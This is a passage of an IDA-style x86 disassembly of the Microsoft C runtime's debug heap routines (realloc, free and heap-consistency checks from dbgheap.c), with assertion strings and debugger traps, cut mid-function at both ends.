jnz short loc_415997
mov edx, [ebp+var_C]
mov eax, dword_4DDF70
sub eax, [edx+10h]
mov dword_4DDF70, eax
mov ecx, dword_4DDF70
add ecx, [ebp+arg_4]
mov dword_4DDF70, ecx
mov edx, [ebp+var_C]
mov eax, dword_4DDF78
sub eax, [edx+10h]
mov dword_4DDF78, eax
mov ecx, dword_4DDF78
add ecx, [ebp+arg_4]
mov dword_4DDF78, ecx
mov edx, dword_4DDF78
cmp edx, dword_4DDF7C
jbe short loc_415997
mov eax, dword_4DDF78
mov dword_4DDF7C, eax
loc_415997: ; CODE XREF: sub_415640+2FFj
; sub_415640+34Bj
mov ecx, [ebp+var_C]
add ecx, 20h
mov [ebp+var_4], ecx
mov edx, [ebp+var_C]
mov eax, [ebp+arg_4]
cmp eax, [edx+10h]
jbe short loc_4159CF
mov ecx, [ebp+var_C]
mov edx, [ebp+arg_4]
sub edx, [ecx+10h]
push edx
xor eax, eax
mov al, byte_444E7E
push eax
mov ecx, [ebp+var_C]
mov edx, [ebp+var_4]
add edx, [ecx+10h]
push edx
call sub_417700
add esp, 0Ch
loc_4159CF: ; CODE XREF: sub_415640+369j
push 4
xor eax, eax
mov al, byte_444E7C
push eax
mov ecx, [ebp+var_4]
add ecx, [ebp+arg_4]
push ecx
call sub_417700
add esp, 0Ch
cmp [ebp+var_14], 0
jnz short loc_415A09
mov edx, [ebp+var_C]
mov eax, [ebp+arg_C]
mov [edx+8], eax
mov ecx, [ebp+var_C]
mov edx, [ebp+arg_10]
mov [ecx+0Ch], edx
mov eax, [ebp+var_C]
mov ecx, [ebp+var_10]
mov [eax+18h], ecx
loc_415A09: ; CODE XREF: sub_415640+3ACj
mov edx, [ebp+var_C]
mov eax, [ebp+arg_4]
mov [edx+10h], eax
loc_415A12: ; CODE XREF: sub_415640+40Bj
cmp [ebp+arg_14], 0
jnz short loc_415A47
cmp [ebp+arg_14], 0
jnz short loc_415A26
mov ecx, [ebp+var_C]
cmp ecx, [ebp+var_8]
jz short loc_415A47
loc_415A26: ; CODE XREF: sub_415640+3DCj
push offset aFreallocFreall ; "fRealloc || (!fRealloc && pNewBlock == "...
push 0
push 2B5h
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41B010
add esp, 14h
cmp eax, 1
jnz short loc_415A47
int 3 ; Trap to Debugger
loc_415A47: ; CODE XREF: sub_415640+3D6j
; sub_415640+3E4j ...
xor edx, edx
test edx, edx
jnz short loc_415A12
mov eax, [ebp+var_C]
cmp eax, [ebp+var_8]
jz short loc_415A5B
cmp [ebp+var_14], 0
jz short loc_415A63
loc_415A5B: ; CODE XREF: sub_415640+413j
mov eax, [ebp+var_4]
jmp loc_415B4A
; ---------------------------------------------------------------------------
loc_415A63: ; CODE XREF: sub_415640+419j
mov ecx, [ebp+var_C]
cmp dword ptr [ecx], 0
jz short loc_415A7B
mov edx, [ebp+var_C]
mov eax, [edx]
mov ecx, [ebp+var_C]
mov edx, [ecx+4]
mov [eax+4], edx
jmp short loc_415AB7
; ---------------------------------------------------------------------------
loc_415A7B: ; CODE XREF: sub_415640+429j
; sub_415640+46Aj
mov eax, dword_4DDF6C
cmp eax, [ebp+var_8]
jz short loc_415AA6
push offset a_plastblockPol ; "_pLastBlock == pOldBlock"
push 0
push 2C4h
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41B010
add esp, 14h
cmp eax, 1
jnz short loc_415AA6
int 3 ; Trap to Debugger
loc_415AA6: ; CODE XREF: sub_415640+443j
; sub_415640+463j
xor ecx, ecx
test ecx, ecx
jnz short loc_415A7B
mov edx, [ebp+var_C]
mov eax, [edx+4]
mov dword_4DDF6C, eax
loc_415AB7: ; CODE XREF: sub_415640+439j
mov ecx, [ebp+var_C]
cmp dword ptr [ecx+4], 0
jz short loc_415ACF
mov edx, [ebp+var_C]
mov eax, [edx+4]
mov ecx, [ebp+var_C]
mov edx, [ecx]
mov [eax], edx
jmp short loc_415B0A
; ---------------------------------------------------------------------------
loc_415ACF: ; CODE XREF: sub_415640+47Ej
; sub_415640+4BEj
mov eax, dword_4DDF74
cmp eax, [ebp+var_8]
jz short loc_415AFA
push offset a_pfirstblockPo ; "_pFirstBlock == pOldBlock"
push 0
push 2CFh
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41B010
add esp, 14h
cmp eax, 1
jnz short loc_415AFA
int 3 ; Trap to Debugger
loc_415AFA: ; CODE XREF: sub_415640+497j
; sub_415640+4B7j
xor ecx, ecx
test ecx, ecx
jnz short loc_415ACF
mov edx, [ebp+var_C]
mov eax, [edx]
mov dword_4DDF74, eax
loc_415B0A: ; CODE XREF: sub_415640+48Dj
cmp dword_4DDF74, 0
jz short loc_415B21
mov ecx, dword_4DDF74
mov edx, [ebp+var_C]
mov [ecx+4], edx
jmp short loc_415B29
; ---------------------------------------------------------------------------
loc_415B21: ; CODE XREF: sub_415640+4D1j
mov eax, [ebp+var_C]
mov dword_4DDF6C, eax
loc_415B29: ; CODE XREF: sub_415640+4DFj
mov ecx, [ebp+var_C]
mov edx, dword_4DDF74
mov [ecx], edx
mov eax, [ebp+var_C]
mov dword ptr [eax+4], 0
mov ecx, [ebp+var_C]
mov dword_4DDF74, ecx
mov eax, [ebp+var_4]
loc_415B4A: ; CODE XREF: sub_415640+2Ej
; sub_415640+51j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_415640 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
push 0
push 0
push 1
mov eax, [ebp+0Ch]
push eax
mov ecx, [ebp+8]
push ecx
call sub_415B90
add esp, 14h
mov [ebp-4], eax
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415B90 proc near ; CODE XREF: .data:00415B72p
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
; FUNCTION CHUNK AT 00415BFE SIZE 00000014 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_434778
push offset sub_41BD64
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFF4h
push ebx
push esi
push edi
push 9
call sub_41BC80
add esp, 4
mov [ebp+var_4], 0
push 0
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_415640
add esp, 18h
mov [ebp+var_1C], eax
mov [ebp+var_4], 0FFFFFFFFh
call sub_415BF3
jmp short loc_415BFE
sub_415B90 endp
; =============== S U B R O U T I N E =======================================
sub_415BF3 proc near ; CODE XREF: sub_415B90+5Cp
; DATA XREF: .data:00434780o
push 9
call sub_41BD20
add esp, 4
retn
sub_415BF3 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_415B90
loc_415BFE: ; CODE XREF: sub_415B90+61j
mov eax, [ebp+var_1C]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_415B90
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415C20 proc near ; CODE XREF: sub_4010AA+5Cp
; sub_40879E+B7p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 1
mov eax, [ebp+arg_0]
push eax
call sub_415C60
add esp, 8
pop ebp
retn
sub_415C20 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 1
mov eax, [ebp+8]
push eax
call sub_415CD0
add esp, 8
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415C60 proc near ; CODE XREF: sub_414FD0+98p
; sub_415640+47p ...
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
; FUNCTION CHUNK AT 00415CBD SIZE 00000011 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_434788
push offset sub_41BD64
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push ebx
push esi
push edi
push 9
call sub_41BC80
add esp, 4
mov [ebp+var_4], 0
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_415CD0
add esp, 8
mov [ebp+var_4], 0FFFFFFFFh
call sub_415CB2
jmp short loc_415CBD
sub_415C60 endp
; =============== S U B R O U T I N E =======================================
sub_415CB2 proc near ; CODE XREF: sub_415C60+4Bp
; DATA XREF: .data:00434790o
push 9
call sub_41BD20
add esp, 4
retn
sub_415CB2 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_415C60
loc_415CBD: ; CODE XREF: sub_415C60+50j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_415C60
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415CD0 proc near ; CODE XREF: .data:00415C49p
; sub_415C60+3Cp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov eax, dword_444E70
and eax, 4
test eax, eax
jz short loc_415D13
loc_415CE3: ; CODE XREF: sub_415CD0+41j
call sub_416420
test eax, eax
jnz short loc_415D0D
push offset a_crtcheckmemor ; "_CrtCheckMemory()"
push 0
push 402h
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41B010
add esp, 14h
cmp eax, 1
jnz short loc_415D0D
int 3 ; Trap to Debugger
loc_415D0D: ; CODE XREF: sub_415CD0+1Aj
; sub_415CD0+3Aj
xor ecx, ecx
test ecx, ecx
jnz short loc_415CE3
loc_415D13: ; CODE XREF: sub_415CD0+11j
cmp [ebp+arg_0], 0
jnz short loc_415D1E
jmp loc_4160B5
; ---------------------------------------------------------------------------
loc_415D1E: ; CODE XREF: sub_415CD0+47j
push 0
push 0
push 0
mov edx, [ebp+arg_4]
push edx
push 0
mov eax, [ebp+arg_0]
push eax
push 3
call off_445240
add esp, 1Ch
test eax, eax
jnz short loc_415D68
loc_415D3D: ; CODE XREF: sub_415CD0+91j
push offset aClientHookFree ; "Client hook free failure.\n"
push offset aS_20 ; "%s"
push 0
push 0
push 0
push 0
call sub_41B010
add esp, 18h
cmp eax, 1
jnz short loc_415D5D
int 3 ; Trap to Debugger
loc_415D5D: ; CODE XREF: sub_415CD0+8Aj
xor ecx, ecx
test ecx, ecx
jnz short loc_415D3D
jmp loc_4160B5
; ---------------------------------------------------------------------------
loc_415D68: ; CODE XREF: sub_415CD0+6Bj
; sub_415CD0+CDj
mov edx, [ebp+arg_0]
push edx
call sub_416900
add esp, 4
test eax, eax
jnz short loc_415D99
push offset a_crtisvalidhea ; "_CrtIsValidHeapPointer(pUserData)"
push 0
push 414h
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41B010
add esp, 14h
cmp eax, 1
jnz short loc_415D99
int 3 ; Trap to Debugger
loc_415D99: ; CODE XREF: sub_415CD0+A6j
; sub_415CD0+C6j
xor eax, eax
test eax, eax
jnz short loc_415D68
mov ecx, [ebp+arg_0]
sub ecx, 20h
mov [ebp+var_4], ecx
loc_415DA8: ; CODE XREF: sub_415CD0+12Fj
mov edx, [ebp+var_4]
mov eax, [edx+14h]
and eax, 0FFFFh
cmp eax, 4
jz short loc_415DFB
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+14h], 1
jz short loc_415DFB
mov edx, [ebp+var_4]
mov eax, [edx+14h]
and eax, 0FFFFh
cmp eax, 2
jz short loc_415DFB
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+14h], 3
jz short loc_415DFB
push offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)"
push 0
push 41Ah
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41B010
add esp, 14h
cmp eax, 1
jnz short loc_415DFB
int 3 ; Trap to Debugger
loc_415DFB: ; CODE XREF: sub_415CD0+E6j
; sub_415CD0+EFj ...
xor edx, edx
test edx, edx
jnz short loc_415DA8
mov eax, dword_444E70
and eax, 4
test eax, eax
jnz loc_415ED6
push 4
mov cl, byte_444E7C
push ecx
mov edx, [ebp+var_4]
add edx, 1Ch
push edx
call sub_416390
add esp, 0Ch
test eax, eax
jnz short loc_415E70
loc_415E2D: ; CODE XREF: sub_415CD0+19Ej
mov eax, [ebp+var_4]
add eax, 20h
push eax
mov ecx, [ebp+var_4]
mov edx, [ecx+18h]
push edx
mov eax, [ebp+var_4]
mov ecx, [eax+14h]
and ecx, 0FFFFh
mov edx, off_444E80[ecx*4]
push edx
push offset aDamageBeforeHs ; "DAMAGE: before %hs block (#%d) at 0x%08"...
push 0
push 0
push 0
push 1
call sub_41B010
add esp, 20h
cmp eax, 1
jnz short loc_415E6A
int 3 ; Trap to Debugger
loc_415E6A: ; CODE XREF: sub_415CD0+197j
xor eax, eax
test eax, eax
jnz short loc_415E2D
loc_415E70: ; CODE XREF: sub_415CD0+15Bj
push 4
mov cl, byte_444E7C
push ecx
mov edx, [ebp+var_4]
mov eax, [edx+10h]
mov ecx, [ebp+var_4]
lea edx, [ecx+eax+20h]
push edx
call sub_416390
add esp, 0Ch
test eax, eax
jnz short loc_415ED6
loc_415E93: ; CODE XREF: sub_415CD0+204j
mov eax, [ebp+var_4]
add eax, 20h
push eax
mov ecx, [ebp+var_4]
mov edx, [ecx+18h]
push edx
mov eax, [ebp+var_4]
mov ecx, [eax+14h]
and ecx, 0FFFFh
mov edx, off_444E80[ecx*4]
push edx
push offset aDamageAfterHsB ; "DAMAGE: after %hs block (#%d) at 0x%08X"...
push 0
push 0
push 0
push 1
call sub_41B010
add esp, 20h
cmp eax, 1
jnz short loc_415ED0
int 3 ; Trap to Debugger
loc_415ED0: ; CODE XREF: sub_415CD0+1FDj
xor eax, eax
test eax, eax
jnz short loc_415E93
loc_415ED6: ; CODE XREF: sub_415CD0+13Bj
; sub_415CD0+1C1j
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+14h], 3
jnz short loc_415F4B
loc_415EDF: ; CODE XREF: sub_415CD0+249j
mov edx, [ebp+var_4]
cmp dword ptr [edx+0Ch], 0FEDCBABCh
jnz short loc_415EF4
mov eax, [ebp+var_4]
cmp dword ptr [eax+18h], 0
jz short loc_415F15
loc_415EF4: ; CODE XREF: sub_415CD0+219j
push offset aPheadNlineIgno ; "pHead->nLine == IGNORE_LINE && pHead->l"...
push 0
push 42Fh
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41B010
add esp, 14h
cmp eax, 1
jnz short loc_415F15
int 3 ; Trap to Debugger
loc_415F15: ; CODE XREF: sub_415CD0+222j
; sub_415CD0+242j
xor ecx, ecx
test ecx, ecx
jnz short loc_415EDF
mov edx, [ebp+var_4]
mov eax, [edx+10h]
add eax, 24h
push eax
xor ecx, ecx
mov cl, byte_444E7D
push ecx
mov edx, [ebp+var_4]
push edx
call sub_417700
add esp, 0Ch
mov eax, [ebp+var_4]
push eax
call sub_41C6D0
add esp, 4
jmp loc_4160B5
; ---------------------------------------------------------------------------
loc_415F4B: ; CODE XREF: sub_415CD0+20Dj
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+14h], 2
jnz short loc_415F61
cmp [ebp+arg_4], 1
jnz short loc_415F61
mov [ebp+arg_4], 2
loc_415F61: ; CODE XREF: sub_415CD0+282j
; sub_415CD0+288j ...
mov edx, [ebp+var_4]
mov eax, [edx+14h]
cmp eax, [ebp+arg_4]
jz short loc_415F8D
push offset aPheadNblockuse ; "pHead->nBlockUse == nBlockUse"
push 0
push 43Ch
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41B010
add esp, 14h
cmp eax, 1
jnz short loc_415F8D
int 3 ; Trap to Debugger
loc_415F8D: ; CODE XREF: sub_415CD0+29Aj
; sub_415CD0+2BAj
xor ecx, ecx
test ecx, ecx
jnz short loc_415F61
mov edx, [ebp+var_4]
mov eax, dword_4DDF78
sub eax, [edx+10h]
mov dword_4DDF78, eax
mov ecx, dword_444E70
and ecx, 2
test ecx, ecx
jnz loc_41608C
mov edx, [ebp+var_4]
cmp dword ptr [edx], 0
jz short loc_415FCC
mov eax, [ebp+var_4]
mov ecx, [eax]
mov edx, [ebp+var_4]
mov eax, [edx+4]
mov [ecx+4], eax
jmp short loc_41600A
; ---------------------------------------------------------------------------
loc_415FCC: ; CODE XREF: sub_415CD0+2EAj
; sub_415CD0+32Cj
mov ecx, dword_4DDF6C
cmp ecx, [ebp+var_4]
jz short loc_415FF8
push offset a_plastblockPhe ; "_pLastBlock == pHead"
push 0
push 44Bh
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41B010
add esp, 14h
cmp eax, 1
jnz short loc_415FF8
int 3 ; Trap to Debugger
loc_415FF8: ; CODE XREF: sub_415CD0+305j
; sub_415CD0+325j
xor edx, edx
test edx, edx
jnz short loc_415FCC
mov eax, [ebp+var_4]
mov ecx, [eax+4]
mov dword_4DDF6C, ecx
loc_41600A: ; CODE XREF: sub_415CD0+2FAj
mov edx, [ebp+var_4]
cmp dword ptr [edx+4], 0
jz short loc_416022
mov eax, [ebp+var_4]
mov ecx, [eax+4]
mov edx, [ebp+var_4]
mov eax, [edx]
mov [ecx], eax
jmp short loc_41605F
; ---------------------------------------------------------------------------
loc_416022: ; CODE XREF: sub_415CD0+341j
; sub_415CD0+382j
mov ecx, dword_4DDF74
cmp ecx, [ebp+var_4]
jz short loc_41604E
push offset a_pfirstblockPh ; "_pFirstBlock == pHead"
push 0
push 455h
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41B010
add esp, 14h
cmp eax, 1
jnz short loc_41604E
int 3 ; Trap to Debugger
loc_41604E: ; CODE XREF: sub_415CD0+35Bj
; sub_415CD0+37Bj
xor edx, edx
test edx, edx
jnz short loc_416022
mov eax, [ebp+var_4]
mov ecx, [eax]
mov dword_4DDF74, ecx
loc_41605F: ; CODE XREF: sub_415CD0+350j
mov edx, [ebp+var_4]
mov eax, [edx+10h]
add eax, 24h
push eax
xor ecx, ecx
mov cl, byte_444E7D
push ecx
mov edx, [ebp+var_4]
push edx
call sub_417700
add esp, 0Ch
mov eax, [ebp+var_4]
push eax
call sub_41C6D0
add esp, 4
jmp short loc_4160B5
; ---------------------------------------------------------------------------
loc_41608C: ; CODE XREF: sub_415CD0+2DEj
mov ecx, [ebp+var_4]
mov dword ptr [ecx+14h], 0
mov edx, [ebp+var_4]
mov eax, [edx+10h]
push eax
xor ecx, ecx
mov cl, byte_444E7D
push ecx
mov edx, [ebp+var_4]
add edx, 20h
push edx
call sub_417700
add esp, 0Ch
loc_4160B5: ; CODE XREF: sub_415CD0+49j
; sub_415CD0+93j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_415CD0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 1
mov eax, [ebp+8]
push eax
call sub_4160E0
add esp, 8
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4160E0 proc near ; CODE XREF: .data:004160C9p
; sub_419EA0+11p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
; FUNCTION CHUNK AT 0041625C SIZE 00000014 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4348C0
push offset sub_41BD64
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFF0h
push ebx
push esi
push edi
mov eax, dword_444E70
and eax, 4
test eax, eax
jz short loc_41613F
loc_41610F: ; CODE XREF: sub_4160E0+5Dj
call sub_416420
test eax, eax
jnz short loc_416139
push offset a_crtcheckmemor ; "_CrtCheckMemory()"
push 0
push 49Dh
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41B010
add esp, 14h
cmp eax, 1
jnz short loc_416139
int 3 ; Trap to Debugger
loc_416139: ; CODE XREF: sub_4160E0+36j
; sub_4160E0+56j
xor ecx, ecx
test ecx, ecx
jnz short loc_41610F
loc_41613F: ; CODE XREF: sub_4160E0+2Dj
push 9
call sub_41BC80
add esp, 4
mov [ebp+var_4], 0
loc_416150: ; CODE XREF: sub_4160E0+A5j
mov edx, [ebp+arg_0]
push edx
call sub_416900
add esp, 4
test eax, eax
jnz short loc_416181
push offset a_crtisvalidhea ; "_CrtIsValidHeapPointer(pUserData)"
push 0
push 4A9h
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41B010
add esp, 14h
cmp eax, 1
jnz short loc_416181
int 3 ; Trap to Debugger
loc_416181: ; CODE XREF: sub_4160E0+7Ej
; sub_4160E0+9Ej
xor eax, eax
test eax, eax
jnz short loc_416150
mov ecx, [ebp+arg_0]
sub ecx, 20h
mov [ebp+var_20], ecx
loc_416190: ; CODE XREF: sub_4160E0+107j
mov edx, [ebp+var_20]
mov eax, [edx+14h]
and eax, 0FFFFh
cmp eax, 4
jz short loc_4161E3
mov ecx, [ebp+var_20]
cmp dword ptr [ecx+14h], 1
jz short loc_4161E3
mov edx, [ebp+var_20]
mov eax, [edx+14h]
and eax, 0FFFFh
cmp eax, 2
jz short loc_4161E3
mov ecx, [ebp+var_20]
cmp dword ptr [ecx+14h], 3
jz short loc_4161E3
push offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)"
push 0
push 4AFh
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41B010
add esp, 14h
cmp eax, 1
jnz short loc_4161E3
int 3 ; Trap to Debugger
loc_4161E3: ; CODE XREF: sub_4160E0+BEj
; sub_4160E0+C7j ...
xor edx, edx
test edx, edx
jnz short loc_416190
mov eax, [ebp+var_20]
cmp dword ptr [eax+14h], 2
jnz short loc_4161FF
cmp [ebp+arg_4], 1
jnz short loc_4161FF
mov [ebp+arg_4], 2
loc_4161FF: ; CODE XREF: sub_4160E0+110j
; sub_4160E0+116j
mov ecx, [ebp+var_20]
cmp dword ptr [ecx+14h], 3
jz short loc_41623A
loc_416208: ; CODE XREF: sub_4160E0+158j
mov edx, [ebp+var_20]
mov eax, [edx+14h]
cmp eax, [ebp+arg_4]
jz short loc_416234
push offset aPheadNblockuse ; "pHead->nBlockUse == nBlockUse"
push 0
push 4B6h
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41B010
add esp, 14h
cmp eax, 1
jnz short loc_416234
int 3 ; Trap to Debugger
loc_416234: ; CODE XREF: sub_4160E0+131j
; sub_4160E0+151j
xor ecx, ecx
test ecx, ecx
jnz short loc_416208
loc_41623A: ; CODE XREF: sub_4160E0+126j
mov edx, [ebp+var_20]
mov eax, [edx+10h]
mov [ebp+var_1C], eax
mov [ebp+var_4], 0FFFFFFFFh
call sub_416251
jmp short loc_41625C
sub_4160E0 endp
; =============== S U B R O U T I N E =======================================
sub_416251 proc near ; CODE XREF: sub_4160E0+16Ap
; DATA XREF: .data:004348C8o
push 9
call sub_41BD20
add esp, 4
retn
sub_416251 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4160E0
loc_41625C: ; CODE XREF: sub_4160E0+16Fj
mov eax, [ebp+var_1C]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_4160E0
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
mov eax, dword_444E78
mov [ebp-4], eax
mov ecx, [ebp+8]
mov dword_444E78, ecx
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4348D0
push offset sub_41BD64
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFF4h
push ebx
push esi
push edi
push 9
call sub_41BC80
add esp, 4
mov dword ptr [ebp-4], 0
mov eax, [ebp+8]
push eax
call sub_416900
add esp, 4
test eax, eax
jz short loc_41633F
mov ecx, [ebp+8]
sub ecx, 20h
mov [ebp-1Ch], ecx
loc_4162DD: ; CODE XREF: .data:00416334j
mov edx, [ebp-1Ch]
mov eax, [edx+14h]
and eax, 0FFFFh
cmp eax, 4
jz short loc_416330
mov ecx, [ebp-1Ch]
cmp dword ptr [ecx+14h], 1
jz short loc_416330
mov edx, [ebp-1Ch]
mov eax, [edx+14h]
and eax, 0FFFFh
cmp eax, 2
jz short loc_416330
mov ecx, [ebp-1Ch]
cmp dword ptr [ecx+14h], 3
jz short loc_416330
push offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)"
push 0
push 4FFh
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41B010
add esp, 14h
cmp eax, 1
jnz short loc_416330
int 3 ; Trap to Debugger
loc_416330: ; CODE XREF: .data:004162EBj
; .data:004162F4j ...
xor edx, edx
test edx, edx
jnz short loc_4162DD
mov eax, [ebp-1Ch]
mov ecx, [ebp+0Ch]
mov [eax+14h], ecx
loc_41633F: ; CODE XREF: .data:004162D2j
mov dword ptr [ebp-4], 0FFFFFFFFh
call sub_41634D
jmp short loc_416358
; =============== S U B R O U T I N E =======================================
sub_41634D proc near ; CODE XREF: .data:00416346p
; DATA XREF: .data:004348D8o
push 9
call sub_41BD20
add esp, 4
retn
sub_41634D endp
; ---------------------------------------------------------------------------
loc_416358: ; CODE XREF: .data:0041634Bj
mov ecx, [ebp-10h]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov eax, off_445240
mov [ebp-4], eax
mov ecx, [ebp+8]
mov off_445240, ecx
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416390 proc near ; CODE XREF: sub_415CD0+151p
; sub_415CD0+1B7p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov [ebp+var_4], 1
loc_41639E: ; CODE XREF: sub_416390:loc_41640Cj
mov eax, [ebp+arg_8]
mov ecx, [ebp+arg_8]
sub ecx, 1
mov [ebp+arg_8], ecx
test eax, eax
jz short loc_41640E
mov edx, [ebp+arg_0]
xor eax, eax
mov al, [edx]
mov ecx, [ebp+arg_4]
and ecx, 0FFh
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+arg_0], edx
cmp eax, ecx
jz short loc_41640C
loc_4163CB: ; CODE XREF: sub_416390+73j
mov eax, [ebp+arg_4]
and eax, 0FFh
push eax
mov ecx, [ebp+arg_0]
xor edx, edx
mov dl, [ecx-1]
push edx
mov eax, [ebp+arg_0]
sub eax, 1
push eax
push offset aMemoryCheckErr ; "memory check error at 0x%08X = 0x%02X, "...
push 0
push 0
push 0
push 0
call sub_41B010
add esp, 20h
cmp eax, 1
jnz short loc_4163FF
int 3 ; Trap to Debugger
loc_4163FF: ; CODE XREF: sub_416390+6Cj
xor ecx, ecx
test ecx, ecx
jnz short loc_4163CB
mov [ebp+var_4], 0
loc_41640C: ; CODE XREF: sub_416390+39j
jmp short loc_41639E
; ---------------------------------------------------------------------------
loc_41640E: ; CODE XREF: sub_416390+1Cj
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_416390 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416420 proc near ; CODE XREF: sub_4151D0:loc_4151ECp
; sub_415640:loc_4156A2p ...
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_4 = dword ptr -4
; FUNCTION CHUNK AT 004167A0 SIZE 00000014 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_434A58
push offset sub_41BD64
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFE0h
push ebx
push esi
push edi
mov eax, dword_444E70
and eax, 1
test eax, eax
jnz short loc_416459
mov eax, 1
jmp loc_4167A3
; ---------------------------------------------------------------------------
loc_416459: ; CODE XREF: sub_416420+2Dj
push 9
call sub_41BC80
add esp, 4
mov [ebp+var_4], 0
call sub_41C820
mov [ebp+var_24], eax
cmp [ebp+var_24], 0FFFFFFFFh
jz loc_41657E
cmp [ebp+var_24], 0FFFFFFFEh
jz loc_41657E
mov ecx, [ebp+var_24]
mov [ebp+var_30], ecx
mov edx, [ebp+var_30]
add edx, 6
mov [ebp+var_30], edx
cmp [ebp+var_30], 3
ja loc_41654C
mov eax, [ebp+var_30]
jmp off_4167B4[eax*4]
loc_4164A9: ; CODE XREF: sub_416420+ADj
; DATA XREF: .data:004167C0o
push offset a_heapchkFailsW ; "_heapchk fails with _HEAPBADBEGIN.\n"
push offset aS_20 ; "%s"
push 0
push 0
push 0
push 0
call sub_41B010
add esp, 18h
cmp eax, 1
jnz short loc_4164C9
